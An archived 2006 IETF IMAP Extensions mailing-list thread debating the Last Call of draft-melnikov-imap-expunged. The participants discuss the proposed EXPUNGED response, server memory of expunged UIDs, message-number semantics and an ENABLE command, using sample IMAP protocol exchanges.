Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Mon, 28 Aug 2006, Ken Murchison wrote:
> The way the current draft is written (as I read it and as clarified by 
> Alexey), you don't have remember which UIDs have been expunged since a given 
> point in time.  You just blindly return all UIDs in the sequence that no 
> longer exist.

This is potentially worse than fetching the entire UID map, although 
ranges will help quite a bit.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Mon, 28 Aug 2006 16:42:43 -0400
From: Ken Murchison <[email-masked]>
Organization: Carnegie Mellon University
To: Peter Coates <[email-masked]>
CC: "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked], "'Alexey Melnikov'" <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Peter Coates wrote:
> Holding expunged data indefinitely is a problem for me.  Would it not be
> possible to define a NO response if the CHANGEDSINCE date with a REPORTEXPUNGES
> was too far in the past.
> 
> Eg:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
> S: s100 NO [OLDESTEXPIREMODSEQ  54321] Too long ago
> 
> Or if you prefer:
> 
> C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
> S: * 1 FETCH (UID 4 MODSEQ (65402) FLAGS (\Seen))
> S: * 2 FETCH (UID 6 MODSEQ (75403) FLAGS (\Deleted))
> S: * 4 FETCH (UID 8 MODSEQ (29738) FLAGS ($NoJunk $AutoJunk $MDNSent))
> S: s100 OK [OLDESTEXPIREMODSEQ  54321] Too long ago

The way the current draft is written (as I read it and as clarified by 
Alexey), you don't have remember which UIDs have been expunged since a 
given point in time.  You just blindly return all UIDs in the sequence 
that no longer exist.

> -----Original Message-----
> From: [email-masked] [mailto:[email-masked]]
> On Behalf Of Arnt Gulbrandsen
> Sent: August 27, 2006 08:07
> To: [email-masked]
> Cc: Alexey Melnikov
> Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
> to Proposed Standard (draft-melnikov-imap-expunged)
> 
> 
> Alexey Melnikov writes:
>> Arnt Gulbrandsen wrote:
>>
>>> 3. The document doesn't say for how long the expunges must be 
>>> remembered. Forever would be a problem for me (in a 5000-message 
>>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>>> be very big
>> Currently it is forever. Can you try to calculate size of the EXPUNGED 
>> response (that uses UID ranges) for your mailbox?
> 
> For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte SEARCH
> response, and the first EXPUNGED response would be 28128 bytes.
> 
>> There was no intent to make EXPUNGED return *all* expunged UIDs all 
>> the time. Every time the server intents to emit an EXPUNGE, it will 
>> emit an EXPUNGED instead, so the server would just send "deltas".
>> Does this need to be clarified?
> 
> Clarified or shown in an example.
> 
> Arnt
> 
> 
> 

-- 
Kenneth Murchison
Systems Programmer
Project Cyrus Developer/Maintainer
Carnegie Mellon University

Date: Mon, 28 Aug 2006 13:00:57 -0700
From: Peter Coates <[email-masked]>
Subject: RE: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
To: "'Arnt Gulbrandsen'" <[email-masked]>, [email-masked]
Cc: "'Alexey Melnikov'" <[email-masked]>
Sender: [email-masked]

Holding expunged data indefinitely is a problem for me.  Would it not be
possible to define a NO response if the CHANGEDSINCE date with a REPORTEXPUNGES
was too far in the past.

Eg:

C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
S: s100 NO [OLDESTEXPIREMODSEQ  54321] Too long ago

Or if you prefer:

C: s100 UID FETCH 1:* (FLAGS) (CHANGEDSINCE 12345 REPORTEXPUNGES) 
S: * 1 FETCH (UID 4 MODSEQ (65402) FLAGS (\Seen))
S: * 2 FETCH (UID 6 MODSEQ (75403) FLAGS (\Deleted))
S: * 4 FETCH (UID 8 MODSEQ (29738) FLAGS ($NoJunk $AutoJunk $MDNSent))
S: s100 OK [OLDESTEXPIREMODSEQ  54321] Too long ago

Peter

-----Original Message-----
From: [email-masked] [mailto:[email-masked]]
On Behalf Of Arnt Gulbrandsen
Sent: August 27, 2006 08:07
To: [email-masked]
Cc: Alexey Melnikov
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'
to Proposed Standard (draft-melnikov-imap-expunged)

Alexey Melnikov writes:
> Arnt Gulbrandsen wrote:
>
>> 3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>> be very big
>
> Currently it is forever. Can you try to calculate size of the EXPUNGED 
> response (that uses UID ranges) for your mailbox?

For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte SEARCH
response, and the first EXPUNGED response would be 28128 bytes.

> There was no intent to make EXPUNGED return *all* expunged UIDs all 
> the time. Every time the server intents to emit an EXPUNGE, it will 
> emit an EXPUNGED instead, so the server would just send "deltas".
> Does this need to be clarified?

Clarified or shown in an example.

Arnt

Date: Sun, 27 Aug 2006 17:06:45 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Alexey Melnikov <[email-masked]>
Sender: [email-masked]

Alexey Melnikov writes:
> Arnt Gulbrandsen wrote:
>
>> 3. The document doesn't say for how long the expunges must be 
>> remembered. Forever would be a problem for me (in a 5000-message 
>> mailbox where 35,000 old messages have been deleted, EXPUNGED could 
>> be very big
>
> Currently it is forever. Can you try to calculate size of the EXPUNGED 
> response (that uses UID ranges) for your mailbox?

For my main inbox, the response to 'a UID SEARCH 1:*' is a 25617-byte 
SEARCH response, and the first EXPUNGED response would be 28128 bytes.

> There was no intent to make EXPUNGED return *all* expunged UIDs all 
> the time. Every time the server intents to emit an EXPUNGE, it will 
> emit an EXPUNGED instead, so the server would just send "deltas".
> Does this need to be clarified?

Clarified or shown in an example.

Arnt

Date: Sun, 27 Aug 2006 11:00:25 +0100
From: Alexey Melnikov <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
CC: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Arnt Gulbrandsen wrote:

> 3. The document doesn't say for how long the expunges must be 
> remembered. Forever would be a problem for me (in a 5000-message 
> mailbox where 35,000 old messages have been deleted, EXPUNGED could be 
> very big

Currently it is forever. Can you try to calculate size of the EXPUNGED 
response (that uses UID ranges) for your mailbox?

> ). If EXPUNGED is made to depend on CONDSTORE, this is easily fixable.
>
> If EXPUNGED doesn't depend on CONDSTORE, this needs fixing in a 
> different way. (Also there needs to be a sentence that within a 
> session, EXPUNGED contains only those UIDs that haven't been reported 
> as expunged already in this session.)

There was no intent to make EXPUNGED return *all* expunged UIDs all the 
time. Every time the server intents to emit an EXPUNGE, it will emit an 
EXPUNGED instead, so the server would just send "deltas".
Does this need to be clarified?

Date: Sun, 27 Aug 2006 08:27:07 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Alexey Melnikov <[email-masked]>, Randall Gellens <[email-masked]>
Sender: [email-masked]

Alexey Melnikov writes:
> Randall Gellens wrote:
>> As a totally separate quibble, I wonder if we're risking a 
>> proliferation of modes which are enabled by use of parameters (such 
>> as the switch from EXPUNGE to EXPUNGED being triggered by use of 
>> REPORTEXPUNGES)?  I wonder if it might be worth considering a new 
>> ENABLE command that the client would issue after seeing server 
>> capabilities, where the client lists the wonderful extensions it 
>> wishes the server to start using?
>
> I think something like this should be done.
> My question is if this can proceed as independent activity and not 
> hold EXPUNGED?

It can. That gives two ways to enable EXPUNGED. No, three ways, SELECT, 
FETCH and ENABLE.

Arnt

Date: Sat, 26 Aug 2006 20:12:21 +0100
From: Alexey Melnikov <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
CC: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Arnt Gulbrandsen wrote:

> Lisa Dusseault writes:
>
>> Please review!!
>
> I like the idea. At present, resynchronising typically involves O(n) 
> traffic, where n is the number of messages in the mailbox. For a 
> 35,000-message mailbox (what Dave considers medium-sized), SELECT x 
> followed by UID SEARCH 1:*' is the briefest simple way to find out 
> what messages have been expunged and in the best case causes 199k 
> traffic. Shrinking that to 100 bytes is a big win, say I, but I'm not 
> terribly happy with the specifics of this document. Some fairly minor 
> changes would make it much better.
>
> I think the document needs a bit of copy editing; I'll send mail to 
> Alexey privately with that. Here I'll cover only substantive issues.
>
> 1. Minor issue. There is a silent assumption that clients fetch flags 
> for all messages all the time. That assumption isn't necessary, and it 
> warps the extension. Why use FETCH so much if all you want is to find 
> the expunged messages?
>
> 2. I would like a REPORTEXPUNGES SELECT modifier in addition to or 
> instead of the FETCH modifier. The SELECT modifier would cause SELECT 
> to send an EXPUNGED response, helping clients clean up their cache 
> without having to fetch anything. (Of course it's desirable to 
> invalidate changed messages, but this document is not CONDSTORE and 
> does not yet depend on CONDSTORE.)

This is somewhat related to #1 and yes, I agree. Other people already 
suggested this to me.

> If SELECT doesn't have a REPORTEXPUNGES, then I think this document 
> needs to rely on CONDSTORE. FETCH ... (CHANGEDSINCE x REPORTEXPUNGES) 
> makes sense and helps update a cache, but without CONDSTORE I don't 
> see the improvement. The command FETCH 1:* UID (REPORTEXPUNGES) is not 
> an improvement over FETCH 1:* UID or UID SEARCH 1:*.

Yes, it is not an improvement and it is also explicitly prohibited ;-).

[skipping # 3 for now, I need to think it over.]

> 4. It's not clear to me how long the EXPUNGE->EXPUNGED change lasts. 
> The client indicates that it wants EXPUNGED, but how long does the 
> server remember: Until the end of the session or the end of the 
> connection? I would prefer the latter.

Until the end of the connection.
Your comment made me realize that the document doesn't state that. Added.

> I apologise for not reviewing this sooner. It slipped through my fingers.

Thank you for the review.

Date: Sat, 26 Aug 2006 18:33:14 +0100
From: Alexey Melnikov <[email-masked]>
To: Randall Gellens <[email-masked]>
CC: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Randall Gellens wrote:

> One quibble: the name EXPUNGED seems easily confused with EXPUNGE 
> (even if just in discussion, or while scanning through logs).  Maybe 
> change the name of the parameter from REPORTEXPUNGES to EXPUNGEREPORT 
> and change the name of the response from EXPUNGED to also be 
> EXPUNGEREPORT?  Or something else along those lines?

Ken has asked why the FETCH parameter is REPORTEXPUNGES but the response 
code is EXPUNGED.
So I am fine with this change.

The comptetition for the best name is now opened :-). (VANISHED :-)?)

> As a totally separate quibble, I wonder if we're risking a 
> proliferation of modes which are enabled by use of parameters (such as 
> the switch from EXPUNGE to EXPUNGED being triggered by use of 
> REPORTEXPUNGES)?  I wonder if it might be worth considering a new 
> ENABLE command that the client would issue after seeing server 
> capabilities, where the client lists the wonderful extensions it 
> wishes the server to start using?

I think something like this should be done.
My question is if this can proceed as independent activity and not hold 
EXPUNGED?

Date: Fri, 25 Aug 2006 17:26:30 -0700
To: IMAP Extensions WG <[email-masked]>
From: Randall Gellens <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

One quibble: the name EXPUNGED seems easily confused with EXPUNGE 
(even if just in discussion, or while scanning through logs).  Maybe 
change the name of the parameter from REPORTEXPUNGES to EXPUNGEREPORT 
and change the name of the response from EXPUNGED to also be 
EXPUNGEREPORT?  Or something else along those lines?

As a totally separate quibble, I wonder if we're risking a 
proliferation of modes which are enabled by use of parameters (such 
as the switch from EXPUNGE to EXPUNGED being triggered by use of 
REPORTEXPUNGES)?  I wonder if it might be worth considering a new 
ENABLE command that the client would issue after seeing server 
capabilities, where the client lists the wonderful extensions it 
wishes the server to start using?
-- 
Randall Gellens
Opinions are personal;    facts are suspect;    I speak for myself only
-------------- Randomly-selected tag: ---------------
I have made it a rule, whenever in my power, to avoid becoming the
draughtsman of papers to be reviewed by a public body.
              --Benjamin Franklin

Date: Fri, 25 Aug 2006 04:39:11 -0600
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Fri, 25 Aug 2006, Arnt Gulbrandsen wrote:
> Philip Guenther writes:
>> If EXPUNGED updates the message sequences just like an EXPUNGE response 
>> then use of REPORTEXPUNGES would make it impossible to reliably use msgnos 
>> in commands;
...
> Not in the draft as it stands.

Right.  I left out the phrase "and EXPUNGED responses could be sent at any 
time" as that was what Pete appeared to be proposing as a change in the 
message to which I was responding.  I agree that as currently stands, 
there is no issue with EXPUNGED and client use of msgnos.  It's only if 
the EXPUNGED response was permitted at any time in order to obviate IDLE 
that it becomes an issue.  My apologies if people misconstrued the 
EXPUNGED draft due to that elision from my message.

Philip Guenther

Date: Fri, 25 Aug 2006 11:29:12 +0100
From: Alexey Melnikov <[email-masked]>
To: [email-masked]
CC: Pete Resnick <[email-masked]>, Philip Guenther <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Arnt Gulbrandsen wrote:

> Pete Resnick writes:
>
>> I'm with Mark on this: Non-starter. Change the EXPUNGED spec, not how 
>> message numbers work.
>
> I don't see why EXPUNGED as it stands breaks message numbers. If it 
> were sent unsolicited it would. But the current draft forbids doing 
> that (page 5, third paragraph).

Exactly. The EXPUNGED response has *exactly* the same restrictions as 
the EXPUNGE response.

Date: Fri, 25 Aug 2006 12:23:18 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Pete Resnick <[email-masked]>, Philip Guenther <[email-masked]>
Sender: [email-masked]

Philip Guenther writes:
> If EXPUNGED updates the message sequences just like an EXPUNGE 
> response then use of REPORTEXPUNGES would make it impossible to 
> reliably use msgnos in commands; they would appear in responses but a 
> client would have no way to guarantee that a msgno wouldn't be 
> invalidated or changed in meaning (what message it maps to) between 
> when it composed the command and when the server received it.  
> Breaking client use of msgnos seems a bit drastic of a side-effect 
> for an extension aimed at shrinking the cost of resynchronization.

Not in the draft as it stands. EXPUNGED can be processed just like 
EXPUNGE. You may need to use a binary search instead of an array 
indexing, depending on how your code looks.

If you see * 122 EXPUNGE you know that all messages with MSN higher than 
122 move one slot down in the MSN->UID map. If you see * EXPUNGED 122, 
you need to scan your MSN->UID map until you find a UID higher than 
122, and move it and all higher UIDs down one slot.

Arnt

Date: Fri, 25 Aug 2006 11:55:21 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Cc: Pete Resnick <[email-masked]>, Philip Guenther <[email-masked]>
Sender: [email-masked]

Pete Resnick writes:
> I'm with Mark on this: Non-starter. Change the EXPUNGED spec, not how 
> message numbers work.

I don't see why EXPUNGED as it stands breaks message numbers. If it were 
sent unsolicited it would. But the current draft forbids doing that 
(page 5, third paragraph).

Arnt

Date: Thu, 24 Aug 2006 22:00:40 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Philip Guenther <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Thu, 24 Aug 2006, Philip Guenther wrote:
> During the discussion in 
> Montreal, it was strongly argued that the client-side method dodges a number 
> of the issues that the server-side method has.  Those present and arguing 
> (myself included) may have missed something critical that invalidates the 
> argument, of course.

It all depends on what the protocol looks like.

As a server (and client!) guy, the prospect of being made to keep a 
potentially limitless journal scares me.  From the server point of view, 
it's a lot easier to write a file with a snapshot of per-client state, 
and then diff the snapshot against what's there now.

It's lot less that needs to be saved, and it isn't timestamp dependent.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

Date: Thu, 24 Aug 2006 22:16:36 -0600
From: Philip Guenther <[email-masked]>
To: Mark Crispin <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Thu, 24 Aug 2006, Mark Crispin wrote:
> If the principle purpose of this extension is for resynchronizing a client, I 
> wonder if it could not be done in a better way.
>
> How about an extension that creates a per-client synchronization state on the 
> server.  This can hold state for multiple mailboxes.  There would be the 
> following operations:

I'm having a flash-back from the second lemonade WG session in Montreal. 
Regardless, if you haven't pulled down the audio of that session from the 
archive and listened to the discussion there (possibly reading the jabber 
log along side), I recommend doing so.  What you describe sounds pretty 
similar to parts of draft-ietf-lemonade-reconnect-07.txt.  During the 
discussion in Montreal, it was strongly argued that the client-side method 
dodges a number of the issues that the server-side method has.  Those 
present and arguing (myself included) may have missed something critical 
that invalidates the argument, of course.  I think I'll review that myself 
soon to see if anything jumps out.

Philip Guenther

Date: Thu, 24 Aug 2006 17:07:04 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

If the principle purpose of this extension is for resynchronizing a 
client, I wonder if it could not be done in a better way.

How about an extension that creates a per-client synchronization state on 
the server.  This can hold state for multiple mailboxes.  There would be 
the following operations:

. register new client.  This would be a one-time operation.  The client
   sends a self-generated client ID, and in return receives a cookie that
   contains the client ID and server-generated poop.

. list registered clients/unregister client.  This is a maintenance tool.
   It can not be used to get a registered client cookie; thus can not be
   abused by broken implementations.  It can, however, be used to clean
   up states saved by abandoned clients.

. record state for current mailbox.  Accepts cookie as an argument.  Saves
   the map and all flags.

. return state changes in current mailbox.  Accepts cookie as an argument.
   Any flag or UID map differences from the same state are sent to the
   client.  Maybe have two forms, one which records the new state and one
   which does not.

State changes during the session will continue to work as they always 
have, including msgno-based unsolicited FETCH and EXPUNGE responses. 
Since the client has the current UID map after a return-state-change 
operation, it can use msgnos.

If it's a stupid client written by a cretin that refuses to use msgnos, it 
can simply repeat the "return state changes" operation as needed.

Note that the client must do a "record state change" for the server's 
state for that registered client to be preserved.  That allows the server 
to toss out the previous state (meaning that the client must be certain 
that it it is ready for that).

I think that the above would be quite easy to implement, even for 
non-CONDSTORE environments.  The key here is that the server isn't obliged 
to keep an arbitrary amount of history; it was told by the client to do 
so.

The weakness is that clients may forget that the own a saved state. 
That's why there is the list registered client/unregister client 
operation.

The idea is that the client ID would be something like:
 	PC Pine, Tomobiki-Cho, Windows XP 55274-OEM-0011903-00102
and the returned cookie would be stored in the program's config file.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Thu, 24 Aug 2006 17:10:00 -0500
To: Philip Guenther <[email-masked]>
From: Pete Resnick <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'    to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

On 8/24/06 at 2:37 PM -0700, Philip Guenther wrote:

>If EXPUNGED updates the message sequences just like an EXPUNGE response...

That's the "other things" I was referring to in my followup message.

>Breaking client use of msgnos seems a bit drastic of a side-effect 
>for an extension aimed at shrinking the cost of resynchronization.

I'm with Mark on this: Non-starter. Change the EXPUNGED spec, not how 
message numbers work.

pr
-- 
Pete Resnick <http://www.qualcomm.com/~presnick/>
QUALCOMM Incorporated - Direct phone: (858)651-4478, Fax: (858)651-1102

Date: Thu, 24 Aug 2006 14:39:25 -0700 (Pacific Daylight Time)
From: Mark Crispin <[email-masked]>
To: Philip Guenther <[email-masked]>
cc: Pete Resnick <[email-masked]>, [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Organization: Networks & Distributed Computing
Sender: [email-masked]

On Thu, 24 Aug 2006, Philip Guenther wrote:
> Breaking client use of msgnos seems a bit drastic of a 
> side-effect for an extension aimed at shrinking the cost of 
> resynchronization.

s/seems a bit drastic of a/is an unacceptable

IMHO.

-- Mark --

http://staff.washington.edu/mrc
Science does not emerge from voting, party politics, or public debate.
Si vis pacem, para bellum.

Date: Thu, 24 Aug 2006 14:37:30 -0700
From: Philip Guenther <[email-masked]>
To: Pete Resnick <[email-masked]>
cc: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

On Thu, 24 Aug 2006, Pete Resnick wrote:
...
> +1. This would also pretty much eliminate the need for the IDLE command 
> because subsequent EXPUNGED responses could come back unsolicited. Less 
> state in the client is a good thing.

If EXPUNGED updates the message sequences just like an EXPUNGE response 
then use of REPORTEXPUNGES would make it impossible to reliably use msgnos 
in commands; they would appear in responses but a client would have no way 
to guarantee that a msgno wouldn't be invalidated or changed in meaning 
(what message it maps to) between when it composed the command and when 
the server received it.  Breaking client use of msgnos seems a bit drastic 
of a side-effect for an extension aimed at shrinking the cost of 
resynchronization.

Philip Guenther

Date: Thu, 24 Aug 2006 16:03:29 -0500
To: Arnt Gulbrandsen <[email-masked]>
From: Pete Resnick <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged  messages'   to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

On 8/24/06 at 3:59 PM -0500, I wrote:

>This would also pretty much eliminate the need for the IDLE command 
>because subsequent EXPUNGED responses could come back unsolicited.

To clarify: s/pretty much eliminate/go a long way towards eliminating.

Other things would have to be changed in the spec to make this 
happen. I think those should happen. More on that later when I have 
time to write more.

pr
-- 
Pete Resnick <http://www.qualcomm.com/~presnick/>
QUALCOMM Incorporated - Direct phone: (858)651-4478, Fax: (858)651-1102

Date: Thu, 24 Aug 2006 15:59:22 -0500
To: Arnt Gulbrandsen <[email-masked]>
From: Pete Resnick <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages'   to Proposed Standard (draft-melnikov-imap-expunged)
Cc: [email-masked]
Sender: [email-masked]

On 8/24/06 at 11:33 AM +0200, Arnt Gulbrandsen wrote:

>I would like a REPORTEXPUNGES SELECT modifier in addition to or 
>instead of the FETCH modifier. The SELECT modifier would cause 
>SELECT to send an EXPUNGED response, helping clients clean up their 
>cache without having to fetch anything.

+1. This would also pretty much eliminate the need for the IDLE 
command because subsequent EXPUNGED responses could come back 
unsolicited. Less state in the client is a good thing.

Personally, I would prefer REPORTEXPUNGES to be on SELECT *instead* of FETCH.

pr
-- 
Pete Resnick <http://www.episteme-software.com/>
All connections to the world are tenuous at best

Date: Thu, 24 Aug 2006 19:07:44 +0100
From: Alexey Melnikov <[email-masked]>
To: Mark Crispin <[email-masked]>
CC: Lisa Dusseault <[email-masked]>, IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Mark Crispin wrote:

> Before IESG is to make any determination about this document, I would 
> like to see some discussion of this document within IMAPEXT, and a 
> recommendation to IESG made as to whether this document should be 
> rejected, published as Experimental, or published as Proposed.
>
> The document has some good points; in particular the EXPUNGED response 
> consumes less bandwidth than multiple EXPUNGE responses.  However, I 
> don't believe that the benefits justify the additional complexity 
> created by burdening an already complex protocol with yet another 
> extension; nor do I believe that there is substantial added 
> functionality in this document.
>
> The fact that it is Alexey who submitted it, however, indicates to me 
> that there may be something more to this proposal.  Whatever it is, 
> I've missed it.
>
> I would like Alexey to give us a presentation before passing final 
> judgement.

Ok, let me try to explain my motivation for this extension. There are 
two issues that this draft is trying to address:
1). EXPUNGE is too verbose (one response per message). Also, it returns 
message numbers and UIDs might be more convenient for many clients.
2). CONDSTORE extension doesn't provide a way to learn about expunged 
messages in the same FETCH. Arguably this is a small defect in CONDSTORE 
that I was trying to fix.

The draft started as an attempt to address #2 and #1 was a nice side 
effect of it. However even addressing #1 by itself would be worthwhile, 
IMHO.
An earlier version of the draft required server to associate CONDSTORE 
modification sequences (modseqs) with every expunged message, so that 
the client can ask for all messages expunged since a modseq. While 
thinking about implementing this I realized that this might be a 
substantial burden for server implementations, as  servers would be 
required to store additional state and EXPUNGE/CLOSE might take longer 
as the result.
I've made an assumption (and please tell me if my assumption is wrong), 
that expunged messages might compress well when represented a UID set. 
(This seems to be the case for people who delete all messages after 
processing them.)
The next logical step is realization that if EXPUNGED returns all UIDs 
expunged from a UID set, then it would be not much worse than just 
returning all UIDs  from the set expunged since a modseq. So I decided 
to drop EXPUNGED dependency on modseqs.

Some other comments on the document:
1). One can notice that for a UID set the EXPUNGED response contains the 
inverse of SEARCH (ALL) <uidset> defined in 
draft-melnikov-imap-search-ret-03.txt. However I argued that the 
EXPUNGED response is semantically different, as it is clear what it 
means when the server sends an unsolicited EXPUNGED response.

2). The EXPUNGED draft is a dependency for Lemonade Quick Mailbox 
Synchronization draft (draft-ietf-lemonade-reconnect-client-01.txt). 
Cyrus has proposed to merge functionality of EXPUNGED with 
draft-ietf-lemonade-reconnect-client-01.txt. That would be fine with me, 
but because of the motive #1 a client that doesn't implement 
CONDSTORE/QRESYNC can still benefit from EXPUNGED.
But I think I can be convinced one way or another.

Alexey

Date: Thu, 24 Aug 2006 11:33:39 +0200
From: Arnt Gulbrandsen <[email-masked]>
To: [email-masked]
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to Proposed Standard (draft-melnikov-imap-expunged)
Sender: [email-masked]

Lisa Dusseault writes:
> Please review!!

I like the idea. At present, resynchronising typically involves O(n) 
traffic, where n is the number of messages in the mailbox. For a 
35,000-message mailbox (what Dave considers medium-sized), SELECT x 
followed by UID SEARCH 1:*' is the briefest simple way to find out what 
messages have been expunged and in the best case causes 199k traffic. 
Shrinking that to 100 bytes is a big win, say I, but I'm not terribly 
happy with the specifics of this document. Some fairly minor changes 
would make it much better.

I think the document needs a bit of copy editing; I'll send mail to 
Alexey privately with that. Here I'll cover only substantive issues.

1. Minor issue. There is a silent assumption that clients fetch flags 
for all messages all the time. That assumption isn't necessary, and it 
warps the extension. Why use FETCH so much if all you want is to find 
the expunged messages?

2. I would like a REPORTEXPUNGES SELECT modifier in addition to or 
instead of the FETCH modifier. The SELECT modifier would cause SELECT 
to send an EXPUNGED response, helping clients clean up their cache 
without having to fetch anything. (Of course it's desirable to 
invalidate changed messages, but this document is not CONDSTORE and 
does not yet depend on CONDSTORE.)

If SELECT doesn't have a REPORTEXPUNGES, then I think this document 
needs to rely on CONDSTORE. FETCH ... (CHANGEDSINCE x REPORTEXPUNGES) 
makes sense and helps update a cache, but without CONDSTORE I don't see 
the improvement. The command FETCH 1:* UID (REPORTEXPUNGES) is not an 
improvement over FETCH 1:* UID or UID SEARCH 1:*.

3. The document doesn't say for how long the expunges must be 
remembered. Forever would be a problem for me (in a 5000-message 
mailbox where 35,000 old messages have been deleted, EXPUNGED could be 
very big). If EXPUNGED is made to depend on CONDSTORE, this is easily 
fixable.

If EXPUNGED doesn't depend on CONDSTORE, this needs fixing in a 
different way. (Also there needs to be a sentence that within a 
session, EXPUNGED contains only those UIDs that haven't been reported 
as expunged already in this session.)

4. It's not clear to me how long the EXPUNGE->EXPUNGED change lasts. The 
client indicates that it wants EXPUNGED, but how long does the server 
remember: Until the end of the session or the end of the connection? I 
would prefer the latter.

I apologise for not reviewing this sooner. It slipped through my fingers.

Arnt

Date: Wed, 23 Aug 2006 12:26:37 -0700 (PDT)
From: Mark Crispin <[email-masked]>
To: Lisa Dusseault <[email-masked]>
cc: IMAP Extensions WG <[email-masked]>
Subject: Re: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged) 
Sender: [email-masked]

Before IESG is to make any determination about this document, I would like 
to see some discussion of this document within IMAPEXT, and a 
recommendation to IESG made as to whether this document should be 
rejected, published as Experimental, or published as Proposed.

The document has some good points; in particular the EXPUNGED response 
consumes less bandwidth than multiple EXPUNGE responses.  However, I don't 
believe that the benefits justify the additional complexity created by 
burdening an already complex protocol with yet another extension; nor do I 
believe that there is substantial added functionality in this document.

The fact that it is Alexey who submitted it, however, indicates to me that 
there may be something more to this proposal.  Whatever it is, I've missed 
it.

I would like Alexey to give us a presentation before passing final 
judgement.

-- Mark --

http://panda.com/mrc
Democracy is two wolves and a sheep deciding what to eat for lunch.
Liberty is a well-armed sheep contesting the vote.

To: IMAP Extensions WG <[email-masked]>
From: Lisa Dusseault <[email-masked]>
Subject: Fwd: Last Call: 'IMAP4 extension for reporting expunged messages' to  Proposed Standard (draft-melnikov-imap-expunged) 
Date: Wed, 23 Aug 2006 11:35:11 -0700
